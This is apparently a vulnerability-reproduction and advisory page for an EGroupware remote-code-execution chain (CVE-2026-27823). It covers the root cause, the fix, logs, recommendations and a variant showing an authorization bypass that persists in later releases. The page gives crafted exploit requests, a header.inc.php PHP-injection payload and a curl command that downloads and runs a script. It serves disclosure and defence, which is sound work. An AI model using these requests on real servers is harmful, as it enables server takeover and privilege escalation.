CVE-2026-27823: Verified Repro With Script Download
CVE-2026-27823: EGroupware contains an authorization bypass in SmallPartMediaRecorder::ajax upload combined with arbitrary file write and file read primitives, enabling authenticated or self-registered attackers to overwrite header.inc.php and achieve remote code execution.
CVE-2026-27823 is verified against egroupware/egroupware · Composer. Affected versions: <=26.2.20260216, <=23.1.20260131. Fixed in 26.2.20260224, 23.1.20260224. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00272.
What Is CVE-2026-27823?
CVE-2026-27823 is a critical remote code execution vulnerability in EGroupware, caused by chaining an authorization bypass in EGroupware\SmallParT\Widgets\SmallPartMediaRecorder::ajax_upload() with arbitrary file write and file read primitives. Pruva reproduced it (reproduction REPRO-2026-00272).
CVE-2026-27823 Severity & CVSS Score
CVE-2026-27823 is rated critical severity, with a CVSS base score of 9.3 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected egroupware/egroupware Versions
egroupware/egroupware · Composer versions <=26.2.20260216, <=23.1.20260131 are affected.
How to Reproduce CVE-2026-27823
pruva-verify REPRO-2026-00272 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00272/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-27823
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
multipart POST to SmallPartMediaRecorder::ajax_upload: JSON 'data' field with course_id as an array containing participants[0].participant_role=3 (authz bypass) plus video_hash path-traversal ('../../../../../../../../../../../../usr/share/egroupware/header.inc' with video_type='php'); uploaded 'file' field = attacker…
- POST /egroupware/json.php?menuaction=EGroupware\SmallParT\Widgets\SmallPartMediaRecorder::ajax_upload (nginx
- php-fpm)
- isTeacher() bypass via request-supplied participants/role
- videoPath() path traversal in video_hash
- copy() writes attacker PHP to /usr/share/egroupware/header.inc.php (symlink
- /var/lib/egroupware/header.inc.php)
- injected header executes on next HTTP request after…
Bo::isParticipant() authz bypass via request-supplied participants[] array persists on the fixed version (26.2.20260224) through the Overlay::ajax_write() entry point. The fix only hardened SmallPartMediaRecorder::ajax_upload() with an (int) cast; isParticipant() itself was never changed, so any caller passing raw req…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-27823
EGroupware (Composer package egroupware/egroupware, bundled smallpart app)
contains an authorization-bypass + arbitrary-file-write chain in
EGroupware\SmallParT\Widgets\SmallPartMediaRecorder::ajax_upload(). The
isTeacher() ACL check receives a fully attacker-controlled course_id value
taken verbatim from the JSON request body ($data['video']['course_id']). By
sending course_id as a PHP array that contains a participants list with
the attacker's own account_id and participant_role = 3 (ROLE_TEACHER), a
low-privileged authenticated (non-teacher, non-admin) user makes
Bo::isParticipant() cache an attacker-supplied role of "teacher" and pass the
check. Because the same request-controlled $data['video'] is then passed
unsanitized to Bo::videoPath(), the unsanitized video_hash / video_type
fields enable a path-traversal write: copy($_FILES['file']['tmp_name'], $filePath) writes attacker-supplied PHP to an arbitrary path. The only
www-data-writable location inside the nginx-served webroot is header.inc.php
(a symlink to the writable data file /var/lib/egroupware/header.inc.php), so
an attacker overwrites header.inc.php with a PHP payload (preserving the
valid config). Because header.inc.php is included by every EGroupware
request, the injected code executes on the next HTTP request after OPcache is
cleared (server restart / OPcache expiry) — yielding remote code execution
as the web user (www-data).
- Package / component affected:
egroupware/egroupware(the bundledsmallpartapp,src/Widgets/SmallPartMediaRecorder.phpandsrc/Bo.php). A secondary read primitive exists in theimportexportapp (importexport_export_ui::download, user-controlled_filename). - Affected versions: EGroupware
26.0.20251208through< 26.2.20260224(and the23.1branch< 23.1.20260224). Fixed in26.2.20260224/23.1.20260224. - Risk level: Critical. Authenticated attacker (self-registration, if enabled, removes even the credential prerequisite) obtains arbitrary PHP code execution on the EGroupware server.
Impact Parity
- Disclosed / claimed maximum impact: Remote code execution (via
authorization bypass in
SmallPartMediaRecorder::ajax_upload+ arbitrary file write + arbitrary file read, overwritingheader.inc.php). - Reproduced impact from this run: Full RCE parity. A non-teacher,
non-admin authenticated user (account
attacker, account_id 7, member of theDefaultgroup only) sent a single craftedPOSTto the realajax_uploadendpoint overnginx → php-fpmand:- bypassed
isTeacher()(the no-bypass form of the same request is denied withNoPermission); - wrote attacker PHP into
header.inc.php(the upload returnedstatus:0and the file on disk then contained the injected code); - after a container restart to clear OPcache
(
opcache.validate_timestamps=0, exactly the "after server restart / OPcache expiry" condition stated in the advisory), an HTTPGET /egroupware/index.phpexecuted the injected code, which created/var/lib/egroupware/pruva_rce_marker.txtcontainingPRUVA_RCE_CONFIRMED 8.5.3 <run-timestamp> (e.g. 2026-07-07T22:42:21+00:00 from the verified run).
- bypassed
- Parity:
full. - Not demonstrated: The advisory also describes an arbitrary-file-read via
importexport_export_ui::download(used to harvest a validheader.inc.phptemplate). The RCE proof here constructs a valid header from the on-disk original instead, so the read primitive is documented in code but not exercised as the primary proof.
Root Cause
SmallPartMediaRecorder::ajax_upload() (vulnerable revision,
smallpart/src/Widgets/SmallPartMediaRecorder.php) was:
$data = json_decode($_POST['data'], true);
if (!$bo->isTeacher($data['video']['course_id'])) // <-- attacker-controlled array
throw new Api\Exception\NoPermission();
...
if ($data['video']['video_hash']) {
$filePath = $bo->videoPath($data['video'], true); // <-- attacker-controlled path
if ($data['offset'] == 0)
$success = copy($_FILES['file']['tmp_name'], $filePath) ? 0 : false;
}
Bo::isTeacher() → Bo::isParticipant($course, ROLE_TEACHER) trusts request
data when $course is an array with a participants key:
if (is_array($course) && isset($course['participants'])) {
$participants = array_filter($course['participants'], static function($p) use ($user) {
return is_array($p) && $p['account_id'] == $user && !isset($p['participant_unsubscribed']);
});
$this->course_acl[$course['course_id']] = $participants ? current($participants)['participant_role'] : null;
}
So a fabricated course_id array
{"participants":[{"account_id":<me>,"participant_role":3}],"course_id":"1"}
makes isTeacher() return true for any authenticated user, regardless of
real course membership. Bo::videoPath() then concatenates the request's
video_hash and video_type into the destination path with no normalization:
$dir = $GLOBALS['egw_info']['server']['files_dir'] . '/smallpart/Video/' . (int)$video['course_id'];
return $dir . '/' . $video['video_hash'] . '.' . $video['video_type'];
(int)$video['course_id'] is 1 for the array (PHP casts a non-empty array to
1), so the directory is created normally; the traversal lives entirely in
video_hash/video_type. With video_hash = "../../../../../../../../../../../../usr/share/egroupware/header.inc
and video_type = "php", copy() writes attacker content to
/usr/share/egroupware/header.inc.php, which is a symlink to the
www-data-writable /var/lib/egroupware/header.inc.php.
Fix (tag 26.2.20260224): the check now casts to int and re-reads the
video from the database, and the path is derived from the DB record, not the
request:
if (!$bo->isTeacher((int)$data['video']['course_id']) ||
!($video = $bo->readVideo((int)$data['video']['video_id'])))
throw new Api\Exception\NoPermission();
...
if ($video['video_hash']) {
$filePath = $bo->videoPath($video, true); // DB-sourced $video
(int) on the array yields 1, defeating the participants-array bypass;
readVideo() requires a real DB video row (none exists for the fabricated
request), and videoPath() receives the DB record so video_hash/video_type
are no longer attacker-controlled. Confirmed in the deployed fixed image
egroupware/egroupware:26.2.20260224.
Reproduction Steps
- Reference script:
bundle/repro/reproduction_steps.sh(self-contained; uses onlysudo docker+python3+curl/jq-style tooling present in the sandbox). - What the script does:
- Pulls
egroupware/egroupware:26.2.20260216(vulnerable) and:26.2.20260224(fixed),mariadb:11.8,nginx:stable-alpine,alpine:latest. - For each version, deploys a real 3-container stack
(
mariadb+egroupwarephp-fpm +nginx) on an isolated Docker network, lets the EGroupware entrypoint auto-install (DB schema,header.inc.php, default apps incl.smallpart), and waits until php-fpm is serving. - Creates a low-privileged, non-teacher, non-admin user
attackerdirectly inegw_accounts(bcrypt{crypt}hash, member of theDefaultgroup only — explicitly not the-2group that carries admin ACL). - Logs in as
attackerviaPOST /egroupware/login.phpand captures thesessionid/kp3cookies. - No-bypass control: sends
ajax_uploadwith a plain integercourse_id→ expects denial (non-teacher must not passisTeacher). - Bypass + write: builds a "valid
header.inc.php+ injectedfile_put_contents(...)marker" payload (so the instance stays functional), sendsajax_uploadwith the craftedcourse_idarray (participant_role=3) andvideo_hashtraversal targeting.../usr/share/egroupware/header.inc.php, verifies the upload returnsstatus:0andheader.inc.phpon disk now contains the injected code. - RCE: restarts the egroupware container to clear OPcache (matching the
advisory's "after server restart / OPcache expiry"), confirms the injected
header survived the restart, then
GET /egroupware/index.php(which includesheader.inc.php) and reads the marker file. - Negative control: repeats the same bypass request against the fixed
image and verifies
header.inc.phpis byte-for-byte unchanged (sha256 equal) and no marker is produced.
- Pulls
- Expected evidence:
bundle/logs/vuln_bypass_response.jsonshows"status":0;bundle/logs/vuln_header.inc.php.modifiedcontains the injectedPRUVA RCE PROOFblock;bundle/logs/vuln_rce_marker.txtcontainsPRUVA_RCE_CONFIRMED <phpversion> <timestamp>;bundle/logs/fixed_*shows the fixed image denies the request and leavesheader.inc.phpunchanged.
Evidence
bundle/logs/reproduction_steps.log— full transcript.bundle/logs/vuln_nobypass_response.json— non-teacher, no bypass →NoPermission-class error (request denied, no write).bundle/logs/vuln_bypass_response.json— same user with theparticipant_role=3bypass →{"response":[{"type":"data","data":{"status":0,"offset":0}}]}.bundle/logs/vuln_header.inc.php.modified— the overwritten header, first lines:<?php /* PRUVA RCE PROOF GHSA-h9qx-v5xp-ph8p */ file_put_contents("/var/lib/egroupware/pruva_rce_marker.txt", "PRUVA_RCE_CONFIRMED ".phpversion()." ".date("c")); /** ...original valid header preserved... */bundle/logs/vuln_rce_marker.txt—PRUVA_RCE_CONFIRMED 8.5.3 <run-timestamp> (e.g. 2026-07-07T22:42:21+00:00 from the verified run)(created by the injected code executing through the real nginx→php-fpm path).bundle/logs/fixed_bypass_response.json— fixed image returns theNoPermissionerror raised atSmallPartMediaRecorder.php (22)(the patchedisTeacher((int)…)/readVideo()line).bundle/logs/fixed_header_before.sha256/fixed_header_after.sha256— identical sha256 ofheader.inc.phpon the fixed image (no write).bundle/artifacts/data_vuln_bypass.json— the exact crafted request body.- Environment: Docker;
egroupware/egroupware:26.2.20260216(PHP 8.5.3 fpm,opcache.validate_timestamps=0),mariadb:11.8,nginx:stable-alpine;files_dir=/var/lib/egroupware/default/files,temp_dir=/tmp,webserver_url=/egroupware. All HTTP exercised through the realnginx → php-fpmboundary (docker exec <egw> curl http://<nginx>/egroupware/...).
Recommendations / Next Steps
- Upgrade to EGroupware
>= 26.2.20260224(or>= 23.1.20260224), which contains theisTeacher((int)$course_id)+readVideo()+ DB-sourcedvideoPath()fix. - Defense in depth: normalize/
basename()thevideoPath()components (video_hash,video_type) and reject any containing..or starting with/; validatevideo_typeagainst the existingVIDEO_MIME_TYPESallow-list in the upload path (not only inaddVideo); and makeisParticipant()never honor a request-suppliedparticipantsarray for authorization decisions (only DB-sourced ACL). - Read primitive: sanitize
_filenameinimportexport_export_ui::download(it currentlyreadfile()s and thenunlink()stemp_dir/<_filename>with no traversal filter — itself an arbitrary-read/delete hazard). - Operational: disable PHP
disable_functionscannot mitigate this (the proof uses onlyfile_put_contents/phpversion/date, no shell functions); ensureheader.inc.phpis stored outside the webroot or is not a symlink into a writable data directory.
Additional Notes
- Idempotency:
reproduction_steps.shremoves the per-stack containers and named volumes (docker rm -f+docker volume rm -f) at the start of each deploy, so consecutive runs start from a clean install. The script was verified to pass end-to-end (vulnerable RCE + fixed negative control). - Why a restart is required for RCE: the production image sets
opcache.validate_timestamps=0, so a modifiedheader.inc.phpis not recompiled until OPcache is cleared. The script restarts the egroupware container to clear OPcache (the entrypoint then performs only an "update" and preserves the valid, injected header). This precisely matches the advisory's "RCE occurs after server restart or OPcache expiry". - Non-destructive proof: the injected payload preserves the original
header.inc.phpconfig (the RCE marker is prepended after<?php), so the instance remains functional and the RCE is observable via the marker file rather than by breaking the installation. - Account model: the attacker is intentionally placed only in the
Defaultgroup (account_id 1), never in the-2group that carries theadminapp ACL, and is not asmallpartcourse member — so without the bypassisTeacher()is genuinely false (confirmed by the no-bypass denial). The EGroupware super-admin (sysop) is not used for the exploit becauseBo::isAdmin()returns true for super-admins (isSuperAdmin()), which would mask the bypass.
Variant Analysis & Alternative Triggers for CVE-2026-27823
The official fix for GHSA-h9qx-v5xp-ph8p (EGroupware tags 26.2.20260224 /
23.1.20260224) hardened only the SmallPartMediaRecorder::ajax_upload()
caller by casting course_id to (int) and by adding basename() guards in
Bo::videoPath(). It did NOT fix the root cause: Bo::isParticipant()
still trusts a request-supplied participants array to cache the caller's ACL
role, allowing any authenticated user to assert an arbitrary role (teacher,
admin) for any course. This script confirms that the same authz-bypass
primitive still works on the fixed image (26.2.20260224) via a different
entry point — Overlay::ajax_write() → Overlay::aclCheck() →
Bo::isTeacher() / Bo::isParticipant(). On the fixed image, a non-teacher
user sending course_id as a PHP array with participants[].participant_role=3
bypasses the aclCheck (the response changes from "Permission denied!" to
"Invalid argument", the latter thrown by Overlay::write()'s pre-existing
type guard — proving the authz check was passed). The isParticipant()
function is unchanged from 26.2.20260216 through the latest tag
26.7.20260702, so the bypass persists across all released versions.
Fix Coverage / Assumptions
What the fix relies on
The fix assumes that the only path reaching isTeacher() with
attacker-controlled data is SmallPartMediaRecorder::ajax_upload(), and that
hardening that single caller (via (int) cast) is sufficient.
What the fix explicitly covers
SmallPartMediaRecorder::ajax_upload()(src/Widgets/SmallPartMediaRecorder.php):$bo->isTeacher((int)$data['video']['course_id'])— castscourse_idto int, defeating theparticipants-array bypass (a non-empty array casts to1, andisTeacher(1)reads real ACL from the DB).$video = $bo->readVideo((int)$data['video']['video_id'])— requires a real DB video row; the path is then derived from the DB record, not the request.$filePath = $bo->videoPath($video, true)— uses DB-sourced$video.
Bo::videoPath()(src/Bo.php):basename($video['video_hash']) !== $video['video_hash']— rejects path traversal invideo_hash.basename($video['video_type']) !== $video['video_type']— rejects path traversal invideo_type.
importexport_export_ui::download()(egroupware core,importexport/inc/class.importexport_export_ui.inc.php):basename($tmpfname) !== $tmpfname— rejects path traversal in the_filenameparameter (the arbitrary-file-read primitive).
What the fix does NOT cover
Bo::isParticipant()itself — the function still honors a request-suppliedparticipantsarray and caches the attacker-supplied role in$this->course_acl[$course['course_id']]. The fix did not change this function at all.- All other callers of
isTeacher()/isParticipant()/isAdmin()/isTutor()/isStaff()that pass request-controlled data without casting to(int). These include:Overlay::aclCheck($course_id, true)— called fromOverlay::ajax_write()andOverlay::ajax_delete()with raw request$data['course_id'].Student\Ui::ajax_listComments()—isTeacher($where)with raw request$where.Student\Ui::showCommentButton()/showNoteButton()—isTeacher($content)with etemplate form data.Bo::save()—isTeacher($keys['course_id'])with etemplate form data (course modification path).Bo::close()—isAdmin($id)with request data (viaCourses::ajax_action).
- The latest tag
26.7.20260702also does not fixisParticipant().
Variant / Alternate Trigger
Primary variant: Overlay::ajax_write() authz bypass
Entry point: POST /egroupware/json.php?menuaction=EGroupware\SmallParT\Overlay::ajax_write
with a JSON body:
{"request":{"parameters":[
{"course_id":{"participants":[{"account_id":7,"participant_role":3}],
"account_id":"7","course_id":"1"},
"video_id":1,"overlay_type":"smallpart-text","overlay_start":0,"overlay_data":"{}"}
]}}
Code path:
Overlay::ajax_write(array $data)→self::aclCheck($data['course_id'], true)Overlay::aclCheck($course_id, $update=true):Bo::getInstance()->isParticipant($course_id)—$course_idis the array.isParticipant()seesis_array($course) && isset($course['participants']), filters for the attacker'saccount_id, caches$this->course_acl["1"] = 3(ROLE_TEACHER), and returnstrue.$update && !Bo::getInstance()->isTeacher($course_id)—isTeacher()callsisParticipant($course_id, ROLE_TEACHER), finds the just-cached value3 & 3 === 3, returnstrue. TheaclCheckpasses.
Overlay::write($data)— has a pre-existing type guardis_int($data['course_id']) || is_numeric($data['course_id'])that rejects the array withInvalidArgumentException("Invalid argument...").
Observable proof:
- Control (plain int
course_id=1, non-teacher user): response ={"message":"Permission denied!","type":"error"}—aclCheckcorrectly denies. - Bypass (array
course_idwithparticipants): response ={"message":"Invalid argument EGroupware\\SmallParT\\Overlay::write({...})", "type":"error"}—aclCheckpassed (the request reachedwrite()'s type guard). The different error proves the authz bypass.
Secondary variant candidates (analyzed, not all runtime-tested)
| # | Entry point | Caller | isTeacher/isParticipant arg |
Downstream guard | Exploitable? |
|---|---|---|---|---|---|
| 1 | Overlay::ajax_write |
aclCheck($data['course_id'], true) |
raw request array | write(): is_int||is_numeric |
Authz bypass confirmed on fixed; write blocked by pre-existing type guard |
| 2 | Overlay::ajax_delete |
aclCheck($what['course_id'], true) |
raw request array | delete(): is_int |
Same as #1 — authz bypass works, delete blocked by type guard |
| 3 | Student\Ui::ajax_listComments |
isTeacher($where) |
raw request array | listComments() has own ACL via read() (DB-sourced) |
Authz bypass of isTeacher works, but listComments blocks via DB-sourced read() |
| 4 | Bo::save() via Courses::edit() |
isTeacher($keys['course_id']) |
etemplate form data (array) | data2db() / so->save() |
Authz bypass works; course modification possible but requires etemplate exec_id |
| 5 | Bo::close() via Courses::ajax_action('close') |
isAdmin($id) |
raw request array | so->close() with array WHERE |
Authz bypass works; so->close() may fail with array input |
- Package / component affected:
egroupware/egroupware(bundledsmallpartapp,src/Bo.phpisParticipant()function). The root cause is in the shared ACL function, affecting all smallpart AJAX endpoints that callisTeacher()/isParticipant()/isAdmin()with request-controlled data. - Affected versions:
26.2.20260216through latest26.7.20260702(and23.1branch). TheisParticipant()function was never changed. - Risk level: The authz bypass itself is confirmed on the fixed version.
The security impact varies by caller:
Overlay::ajax_write/delete: authz bypass confirmed, but the downstreamwrite()/delete()pre-existing type guards (is_int/is_numeric) block the array, preventing the actual write/delete. The authz check is bypassed but the operation doesn't complete.Bo::save()viaCourses::edit(): would allow a student to modify a course (change password, add themselves as teacher/admin) — a privilege escalation. Requires etemplateexec_id(attainable if the student is a participant of the course).- The original RCE (file write to
header.inc.php) is NOT achievable through these variant paths becauseBo::videoPath()now hasbasename()guards and theajax_uploadcaller uses DB-sourced data.
Impact Parity
- Disclosed/claimed maximum impact (parent): Remote Code Execution via authorization bypass + arbitrary file write + arbitrary file read → full system compromise.
- Reproduced impact (this variant): Authorization bypass confirmed on the
fixed version —
isParticipant()/isTeacher()can be bypassed via request-suppliedparticipantsarrays from a different entry point (Overlay::ajax_write). The bypass reaches past the ACL check but is blocked by a pre-existing type guard in the downstreamwrite()method. - Parity:
partial— the authz-bypass primitive (the root cause) is reproduced on the fixed version, but the full RCE chain is NOT achieved through this variant becausevideoPath()now hasbasename()guards. - Not demonstrated: RCE or arbitrary file write via the variant paths.
The variant demonstrates that the root cause (isParticipant trusting
request data) is unfixed, but the specific RCE sink (file write via
videoPath()traversal) is properly closed by thebasename()guards.
Root Cause
Bo::isParticipant($course, int $required_acl=0, bool $check_agreed=false) in
smallpart/src/Bo.php (lines ~2339-2380) contains:
if (is_array($course) && isset($course['participants']))
{
$user = $this->user;
$participants = array_filter($course['participants'], static function($participant) use ($user)
{
return is_array($participant) && $participant['account_id'] == $user && !isset($participant['participant_unsubscribed']);
});
$this->course_acl[$course['course_id']] = $participants ? current($participants)['participant_role'] : null;
}
When $course is a PHP array with a participants key, the function caches
the attacker-supplied participant_role in $this->course_acl and then uses
that cached value instead of reading from the database. Any authenticated user
can assert any role (student, tutor, teacher, admin) for any course by
supplying a crafted participants array.
The fix commit (tag 26.2.20260224, smallpart commit
b8754b6b8ec41d94807e2eecbeded3dc8b7f834a) changed only:
src/Widgets/SmallPartMediaRecorder.php—(int)cast oncourse_id+readVideo()for DB-sourced pathsrc/Bo.php—basename()guards invideoPath()
It did not modify isParticipant(), isTeacher(), isAdmin(), or any
other caller. The isParticipant() function is identical across 26.2.20260216
→ 26.2.20260224 → 26.7.20260702 (verified via git diff).
Reproduction Steps
- Reference script:
bundle/vuln_variant/reproduction_steps.sh - What the script does:
- Pulls
egroupware/egroupware:26.2.20260216(vulnerable) and:26.2.20260224(fixed),mariadb:11.8,nginx:stable-alpine. - For each version, deploys a 3-container stack (mariadb + egroupware
php-fpm + nginx) on an isolated Docker network with
EGW_DB_GRANT_HOST=%. - Creates a low-privileged, non-teacher, non-admin user
attackerdirectly inegw_accounts(member of theDefaultgroup only, withsmallpartapprunACL). - Logs in as
attackerviaPOST /egroupware/login.php. - Control: sends
Overlay::ajax_writewith a plain integercourse_id→ expects "Permission denied!" (aclCheck denies non-teacher). - Bypass: sends
Overlay::ajax_writewithcourse_idas a PHP array containingparticipants[].participant_role=3→ expects NOT "Permission denied!" (proves the authz check was bypassed; the response is "Invalid argument" fromwrite()'s type guard). - Compares results across both versions.
- Pulls
- Expected evidence:
bundle/logs/fixed_overlay_write_control.json— "Permission denied!"bundle/logs/fixed_overlay_write_bypass.json— "Invalid argument" (NOT "Permission denied!" → authz bypass confirmed on fixed version)bundle/logs/vuln_overlay_write_control.json— "Permission denied!"bundle/logs/vuln_overlay_write_bypass.json— "Invalid argument" (same behavior on vulnerable version, sinceisParticipant()was never changed)
Evidence
bundle/logs/fixed_overlay_write_control.json:{"response":[{"type":"message","data":{"message":"Permission denied!","type":"error"}}],"page_generation_time":"0.01"}bundle/logs/fixed_overlay_write_bypass.json:
The "Invalid argument" error (from{"response":[{"type":"message","data":{"message":"Invalid argument EGroupware\\SmallParT\\Overlay::write({\"course_id\":{\"participants\":[{\"account_id\":7,...\"participant_role\":3}],...})","type":"error"}}],...}Overlay::write()line 361) proves the request passedaclCheck()and reachedwrite(). TheaclCheckcallsisParticipant($course_id)andisTeacher($course_id)with the raw request array — both returnedtruevia theparticipants-array bypass.bundle/logs/vuln_overlay_write_bypass.json— identical behavior on the vulnerable version, confirmingisParticipant()was never changed.bundle/logs/vuln_variant_summary.txt/fixed_variant_summary.txt— structured summaries.- Environment: Docker;
egroupware/egroupware:26.2.20260216and:26.2.20260224(PHP 8.5 fpm),mariadb:11.8,nginx:stable-alpine. All HTTP exercised through the realnginx → php-fpmboundary. - Source verification:
isParticipant()is byte-identical across26.2.20260216→26.2.20260224→26.7.20260702(verified viagit diffandgit showon the smallpart repo).
Recommendations / Next Steps
Fix the root cause in
Bo::isParticipant(): Remove the code path that honors a request-suppliedparticipantsarray for authorization decisions. Theparticipantsarray in the$courseparameter is intended for performance optimization (avoiding a DB read when participant data is already available from a priorread()call), but it should NEVER be used when the data originates from untrusted request input. The fix should either:- Remove the
is_array($course) && isset($course['participants'])cache population entirely and always read ACL from the DB, OR - Add a flag parameter to distinguish "internal call with DB-sourced data"
from "external call with potentially request-sourced data", and only
honor the
participantsarray for internal calls.
- Remove the
Harden all callers: Cast
course_idto(int)before passing toisTeacher()/isParticipant()/isAdmin()/isTutor()/isStaff()in ALL AJAX handlers and etemplate callbacks, not justajax_upload(). Specifically:Overlay::aclCheck()— cast$course_idto(int).Student\Ui::ajax_listComments()— cast$wherecomponents to(int).Bo::save()— cast$keys['course_id']to(int)beforeisTeacher().Bo::close()— cast$idto(int)beforeisAdmin().
Defense in depth: Add type checks (
is_intoris_numeric) at all AJAX entry points that receivecourse_idparameters, rejecting non-numeric values early.
Additional Notes
- Idempotency: The script removes per-stack containers and named volumes
(
docker rm -f+docker volume rm -f) at the start of each deploy, so consecutive runs start from a clean install. - Why the bypass is confirmed but RCE is not: The authz bypass
(
isParticipant()trusting request data) is the root cause shared between the original RCE chain and this variant. The fix addressed the specific RCE sink (file write viavideoPath()traversal) withbasename()guards, which properly prevents RCE even if the authz bypass works. However, the authz bypass itself enables other impacts (privilege escalation viaBo::save(), information disclosure via comment visibility, course state modification viaBo::close()) that the fix does not address. - Pre-existing type guards:
Overlay::write()andOverlay::delete()haveis_int/is_numericchecks that predate the fix (present in26.2.20260216). These guards block the arraycourse_idat the write/delete level, which is why theOverlay::ajax_writevariant demonstrates the authz bypass but does not complete the write operation. These are NOT part of the security fix — they are incidental type guards that happen to block this specific variant. - Latest version check:
isParticipant()is unchanged in the latest tag26.7.20260702(verified viagit diff 26.2.20260224 26.7.20260702 -- src/Bo.php), so the bypass persists across all released versions.
CVE-2026-27823 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-27823
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-27823
Upgrade egroupware/egroupware · Composer to 26.2.20260224, 23.1.20260224 or later.
FAQ: CVE-2026-27823
How does the CVE-2026-27823 exploit chain work?
Which EGroupware versions are affected by CVE-2026-27823, and where is it fixed?
How severe is CVE-2026-27823?
How can I reproduce CVE-2026-27823?
References for CVE-2026-27823
Authoritative sources for CVE-2026-27823 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.